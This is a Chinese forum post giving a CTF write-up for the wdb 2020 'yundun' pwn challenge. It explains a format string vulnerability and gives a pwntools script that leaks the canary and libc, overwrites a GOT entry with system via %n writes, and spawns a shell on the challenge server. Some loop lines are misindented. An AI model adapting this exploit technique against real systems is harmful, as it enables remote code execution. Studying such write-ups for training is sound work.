查看: 43|回复: 0

[Pwn] wdb网鼎杯_2020_pwn_yundun

[复制链接]
发表于 2020-5-19 17:51:48 | 显示全部楼层 |阅读模式
题目链接:
https://www.xuenixiang.com/ctfexercise-competition-414.html


main函数的最后发现格式化字符串漏洞:


wdb网鼎杯_2020_pwn_yundun

wdb网鼎杯_2020_pwn_yundun

通过泄露libc地址来获取system以及‘binsh’地址,编写脚本getshell,拿到flag
from pwn import *
context.log_level="debug" 
r = remote('xuenixiang.cn', 25413)
#r = process('./pwn')
r.recvuntil('> ')
r.sendline('vim 2')
r.recvuntil('> ')
r.sendline('%31$p%35$p')
r.recvuntil('> ')
r.sendline('cat 2')
r.recvuntil('> ')
canary = int(r.recv(18), 16)
libc = int(r.recv(14), 16) - 0x0020830

sys_addr = libc + 0x045390
get_addr = libc + 0x03c67a8
for i in range(6):
    r.recvuntil('> ')
        r.sendline('vim 2')
        r.recvuntil('> ')
    r.sendline('%{}c%11$n'.format(ord(p64(sys_addr)[i])))
        r.recvuntil('> ')
    r.sendline('cat 2' + 'ccc' + p64(get_addr+i))
r.recvuntil('> ')
r.sendline('vim 2')
r.recvuntil('> ')
r.sendline('/bin/sh\x00')
r.recvuntil('> ')
r.sendline('rm 2')

r.interactive()


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表